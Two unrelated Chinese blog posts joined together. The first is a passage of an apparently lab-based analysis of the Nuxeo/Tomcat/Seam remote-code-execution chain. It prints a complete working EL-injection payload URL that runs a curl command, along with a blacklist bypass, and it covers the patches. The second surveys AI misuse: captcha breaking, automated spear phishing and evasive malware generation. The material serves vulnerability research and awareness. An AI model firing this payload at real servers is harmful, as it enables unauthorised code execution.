  6. 用IDEA直接导入server/nxserver/nuxeo.war程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/binserver/libserver/nxserver/bundlesserver/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
  7. 开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下:

2018-08-20-1.jpg

8.导入程序源码。由于我们需要对nuxeojboss-seam相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-srcnuxeo-8.10-SNAPSHOTjboss-seam-2-3-1的源代码。

至此,我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。

正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下:

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说:

从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!

追踪进入到

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!

根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!

借用Orange的PPT中的一张图来进行说明:

2018-08-20-2.jpg

我们进行如下的测试:

  1. 访问一个需要进行权限认证的URL,oauth2Grant.jsp最终的结果是出现了302

2018-08-20-3.jpg

  1. 我们访问需要畸形URL,http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

2018-08-20-4.jpg

出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:

2018-08-20-5.png

tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container去设置HostContext以及wrapper。这几个组件的作用如下:

2018-08-20-6.jpg

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理,

  1. 经过了postParseRequest()中的convertURI(decodedURI, request);之后,会在req对象中增加decodedUriMB字段,值为/nuxeo/oauth2Grant.jsp

2018-08-20-7.jpg

  1. 解析完decodedUriMB之后,connector对相关的属性进行设置:

    connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
    request.setContext((Context) request.getMappingData().context);
    request.setWrapper((Wrapper) request.getMappingData().wrapper);
  2. 之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置,其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

2018-08-20-9.jpg

  1. 最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下:

    public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ...
        jspUri = request.getServletPath();
        String pathInfo = request.getPathInfo();
        if (pathInfo != null) {
            jspUri += pathInfo;
        }
    
        try {
            boolean precompile = preCompile(request);
            serviceJspFile(request, response, jspUri, precompile);
        } catch (RuntimeException e) {
            throw e;
        } catch (ServletException e) {
            throw e;
        }
        ...
    }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
    return (mappingData.wrapperPath.toString());
}

得到的结果就是/oauth2Grant.jsp.

最后程序运行serviceJspFile(request, response, jspUri, precompile);,运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息,结果报错了。

2018-08-20-10.jpg

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于NuxeoTomcat对于路径解析不一致的问题,目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下:

private static boolean callAction(FacesContext facesContext) {
    //TODO: refactor with Pages.instance().callAction()!!
    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }    
    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单,从actionId中检测出来expression(即EL表达式),之后利用actionExpression.invoke()执行表达式,最终通过handleOutcome()输出表达式的结果,问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id){
    if ( safeActions.contains(id) ) return true;
    int loc = id.indexOf(':');
    if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
    String viewId = id.substring(0, loc);
    String action = "\"#{" + id.substring(loc+1) + "}\"";
    // adding slash as it otherwise won't find a page viewId by getResource*
    InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
    if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
    BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
    try {
        while ( reader.ready() ) {
            if ( reader.readLine().contains(action) ) {
                addSafeAction(id);
                return true;
            }
        }
        return false;
    }
// catch exception
}

:作为分隔符对id进行分割得到viewIdaction,其中viewId就是一个存在的页面,而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

  1. actionMethod的值必须是一对,例如:FILENAME:EL_CODE
  2. FILENAME部分必须是context-root下的真实文件
  3. 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)

例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求;login.xhtml是真实存在的,满足了第二个要求;"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式,即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析:

  1. org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
  2. org.jboss.seam.navigation.Pages:handleOutcome()中。
  3. org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
  4. org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
  5. org.jboss.seam.core.Interpolator::interpolate()
  6. org.jboss.seam.core.Interpolator::interpolateExpressions()中,以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下:

  <nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式,用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties中,内容如下:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:

  1. 利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验;
  2. 利用Tomcat对路径的处理,访问任意的servlet;
  3. 利用jboss-seam中的callAction使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
  4. 利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml,并且可以控制其中的参数;
  5. 控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数,为RCE的EL表达式的payload;
  6. org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是:

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]得到的就是exec(java.lang.String)''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。

2018-08-20-11.jpg

修复

Nxueo的修复

Nuxeo出现的漏洞的原因是在于ACL的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:

2018-08-20-12.jpg

现在通过httpRequest.getServletPath();获取的路径和tomcat保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;

seam的修复

Seam的修复有两处,NXP-24606: improve Seam EL blacklistNXP-24604: don't evalue EL from user input
blacklist中增加了黑名单:

2018-08-20-13.jpg

包括.forName(,这样无法通过.forName(进行反序列化了。

修改了callAction()中的方法处理,如下:

2018-08-20-14.jpg

修改之后的callAction()没有进行任何的处理直接返回false不执行任何的EL表达式。

总结

通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。

  1. 充分利用了Nuxeo的ACL的绕过,与Tomcat对URL规范化的差异性导致了我们的任意的servlet的访问。
  2. 利用了seam中的actionMethod使得我们可以指向任意xhtml中的任意EL表达式。
  3. 利用了callAction()中对于EL表达式的处理执行了双重EL表达式。

AI与安全的恩怨情仇五部曲「1」Misuse AI

v2-becc90b60120f36fd6a9e8305bc050f1_1200x500.jpg

写在前面

随着AI军备战进入白热化状态,越来越多的行业开始被AI带来的浪潮所影响,甚至颠覆。
安全作为和众多行业交叉的一个领域,同样无法避免这样的浪潮。

但和其他领域不同的是,安全和AI之间其实是一个相互作用和碰撞的过程——

  • 黑客可以利用AI发起攻击。如攻破验证码机制、自动化钓鱼攻击、实现漏洞的自动挖掘等。
  • 黑客可以对AI发起攻击。如用数据中毒或逃逸攻击干扰模型结果,或是用模型萃取的方法窃取模型或训练集等。
  • 安全研究员可以利用AI进行防守。如对钓鱼邮件从行为和文本上进行检测、利用图的时候挖掘恶意团伙、对C&C服务器进行检测等。
  • 安全研究员需要对AI进行保护。如面对恶意机器流量,如何搭建机器流量防控体系,以及旨在保护模型机密性和数据安全的隐私保护技术等。

基于此,本文考虑对AI与安全的恩怨情仇进行一些简单的提纲挈领式的梳理和思考,抛砖引玉。

具体而言,我将AI与安全的关系划分为了五个部分,前四个部分分别从【黑客利用AI进行攻击】、【黑客攻击AI模型】、【安全人员利用AI进行防守】、【安全人员对AI进行保护】角度进行分篇介绍,最后在【Do we need all in AI ?】部分,给出自己对当前安全现状的一点思考。

整个系列文章的大纲如下图所示,因为字数较多,因此我会将五部曲分为五篇文章,依次进行介绍,欢迎大家共同交流。

AI与安全的恩怨情仇五部曲_gaitubao_com_watermark.jpg

Misuse AI

Misuse AI字如其意,即指黑客对AI技术的“误用”。

黑客的攻击行为大多追求规模效应,因此会试图攻击尽可能多的目标用户,同时降低自身的风险。这与AI的思想不谋而合,因此AI便成为了他们实现目标的完美工具。

这里我们主要对以下5种情形进行简单介绍——

  • 验证码自动识别
  • 自动化鱼叉式钓鱼攻击
  • 自动化恶意软件样本生成
  • 自动化漏洞挖掘
  • 通过舆情分析和精准广告投放来影响政治事件

验证码自动识别

验证码识别可能是大家第一反应会想到的一个应用场景,毕竟这个技术几乎自验证码诞生的第一天起就同时诞生了,并一直和验证码缠斗至今。

目前市面上的常见验证码与其对应的攻击手段如下——

输入识别出的字符类验证码

9103047-6640943ef24c3420.jpg

这类实际上主要涉及到的就是图像识别。
一般分为分割字符不分割字符两种处理手段。

分割字符手段的步骤:

  1. 图片预处理,包括二值化,降噪等
  2. 图片分割
  3. 提取特征
  4. 训练分类模型,识别字符

这种方法的难点:

  • 背景噪声难以去除,例如字体上有横线等
  • 图片粘在一起,难以切割
  • 文字有旋转,扭曲等变形

在样本数量不是很大的情况下,这三种情况都会对准确率造成影响,当然如果样本足够多,这些也不是问题

不分割字符的方法:

  • 字符固定:考虑CNN
  • 字符不固定:考虑RNN/LSTM/GRU + CTC。只要数据量足够,准确率就能达到很高的水准。

点选类验证码

092841.png

这类可以利用目标检测的方法,先从图像中检测出文字,再对文字分类。
具体实现可以参照这篇:https://zhuanlan.zhihu.com/p/34186397

拖动滑块到指定位置的验证码

geetest123.jpg

这类验证码一般不需要打码做训练,只需要找到缺口的位置,并模拟运动轨迹就可以了。
具体针对各个平台的破解骚操作的话,可以参考这个知乎回答:滑块验证码(滑动验证码)相比图形验证码,破解难度如何?——知乎

自动化鱼叉式钓鱼攻击

随着0day成本的升高,黑客们越来越爱用钓鱼来对用户进行攻击。
而对于一些“重点目标”,更是会采用一种名为鱼叉式钓鱼(spear phishing)的办法来定制化处理。攻击者会花时间了解攻击目标,包括姓名、邮箱地址、社交媒体账号或者任何在网上参与过的内容等。攻击目标不是一般个人,而是特定的公司或者组织的成员,窃取的资料也并非个人的资料,而是其他高度敏感性资料。
在Black Hat USA 2016年的议题 “Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter”里,研究员尝试用SNAP_R(SocialNetwork Automated Phishing with Reconnaissance)递归神经网络模型来向特定用户(即攻击目标)发送钓鱼推文。该模型采用鱼叉式网络钓鱼渗透测试数据进行训练,为提升点击成功率,还动态嵌入了从目标用户和转发或关注用户处抽取的话题,并在发送推文时@攻击目标。

k5yzj9vl49-min.png

该自动化鱼叉式钓鱼攻击主要包括两部分:

  1. 寻找钓鱼攻击目标对象

首先,利用TwitterStreaming API收集用户名,根据用户个人信息描述和推文情况衡量钓鱼成功概率,用户个人信息包括用户名、转发/响应的推文的频率/时间、对某主题的态度、位置信息、行为模式、已参加或者将要参加的大型活动等,也包括工作、职位头衔、知名度等反映用户价值大小的信息。然后,按照钓鱼成功的概率大小将用户进行分类。

攻击者从Firehose(Twitter用户发送消息的输出口)中挑选用户,并判断该用户属于刚才所说分类方法中的具体类别。如果用户的钓鱼成功的概率比较高,就选取该用户作为攻击目标,向其发送嵌有钓鱼链接的虚假推文。

  1. 自动化鱼叉钓鱼

选取攻击目标后,攻击者利用SNAP_R递归神经网络模型抽取目标感兴趣话题以及该目标发送推文或者回复推文的情况以便于产生钓鱼推文内容。除介词等停止词之外,最频繁出现的推文内容都可以用于构造推文内容,推文内容会选择用户经常发送或转推推文的时间进行发送。

在SNAP_R模型中,采用了马尔可夫模型和长短期记忆LSTM(LongShort-Term Memory)递归神经网络构造推文内容。马尔可夫模型根据文本同时出现的概率来推测文本的内容,比如说——

如果训练集包含短语the cat in the hat的次数比较多,当模型出现the时,则下一个内容很可能是cat 或者hat。但是由马尔科夫模型产生的内容通常是没有意义的,只是出现频率比较高的词语的组合体而已。而LSTM适合于处理和预测时间序列中间隔和延迟非常长的重要事件,与马尔可夫模型的区别在于,LSTM能结合语境判断下一个可能出现的词语。两者结合构造更接近于人类撰写的推文内容。

通过对90名用户进行测试发现:该自动化鱼叉式网络钓鱼框架的成功率为30%~60%;大规模手动鱼叉式网络钓鱼传统上的成功率为45%,而广撒网式钓鱼只有5%到14%的成功率。测试结果说明该自动化鱼叉式钓鱼方法极其有效

资料链接:

自动化恶意软件样本生成

论文Generating Adversarial Malware Examples for Black-Box Attacks Based on GAN 利用GAN生成对抗恶意软件样本。最终的实验证明,MalGAN能够将实际中的恶意软件检测率降低到接近零,同时,让defence策略难以起作用。

image-20180924010825193-min.png

其实这一点主要涉及的是对抗样本生成的知识,由于其和第二篇「2」Attack AI 里涉及到的知识点有部分重叠,所以在这里我们先跳过,把这部分内容放到「2」里来讲~

自动化漏洞挖掘

2016年的Defcon CTF上,一支名为Mayhem的机器CTF战队与另外十四支人类顶尖CTF战队上演了信息安全领域首次人机黑客对战,并一度超过两只人类战队。而Mayhem的来历,要从美国国防部先进项目研究局(DARPA,Defense Advanced Research Projects Agency)举办的网络超级挑战赛(CGC,Cyber Grand Challenge)说起。

CGC是DARPA于2013年发起的全球性网络安全挑战赛,旨在推进自动化网络防御技术发展,即实时识别系统缺陷、漏洞,并自动完成打补丁和系统防御,最终实现全自动的网络安全攻防系统。参赛队伍全部由计算机组成,无任何人为干预。所以,CGC是机器之间的CTF比赛,目标是推进全自动的网络安全攻防系统。

在比赛之前,每支参赛团队需要开发一套全自动的网络推理系统CRS(Cyber Reasoning System),需要可对Linux二进制程序进行全自动化的分析和发现其中的漏洞,并自动生成能够触发漏洞的验证代码,自动对程序漏洞进行修补。

最终,来自卡内基梅隆大学的ForAllSecure团队研制的Mayhem 系统获得了冠军,并参加了2016年的Defcon CTF。

Defcon CTF上的分数(Mayhem有些可惜,比赛前两天似乎是收到的流量有问题。后来才发现DEF CON CTF Finals用的平台和CGC CFE不同,第三天收到流量,据说9个CB找出了7个exploit、修补了6个。如果来场公平的较量也许能碾压人类。)

Screen Shot 2018-09-25 at 6.58.40 PM-min.png

通过舆情分析和精准营销来影响政治事件

前面提到的几个点,主要还是从传统的安全场景上来进行描述的。但如果黑客想,同样可以利用机器学习技术来影响到更深远的安全领域,比如说国家安全。

在特朗普当选美国总统之后,Cambridge Analytica这家公司便被推到了风口浪尖。这家公司的负责人主动公开宣称Cambridge Analytica非法获取超过500万Facebook个人账户信息,然后使用这些数据构建算法,分析Facebook用户个性资料,并将这些信息与他们的投票行为关联起来,从而使得竞选团队能够准确识别在两位候选人之间摇摆不定的选民,并有针对性地制作和投放广告。

1509590215740001318-min.png

如上面这个叫做LGBT United的账号中为威斯特布路浸信会反抗运动打广告。元数据显示,这支广告花了账号持有者3000多卢布,并且它针对的是堪萨斯州的LGBT群体以及那些对希拉里·克林顿或伯尼·桑德斯(民主党竞选人)感兴趣的人。

一家大数据公司尚且如此,那么卷入了干涉美国大选和英国脱欧罪名的俄罗斯呢?

References

[1] Doug Drinkwater. 6 ways hackers will use machine learning to launch attacks.
[2] Seymour J, Tully P. Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter[J]. Black Hat USA, 2016, 37.
[3] Hu W, Tan Y. Generating adversarial malware examples for black-box attacks based on GAN[J]. arXiv preprint arXiv:1702.05983, 2017.
[4] Nick Penzenstadler, Brad Heath, Jessica Guynn. We read every one of the 3,517 Facebook ads bought by Russians. Here's what we found. USA TODAY.
[5] 科技与少女. 验证码识别综述.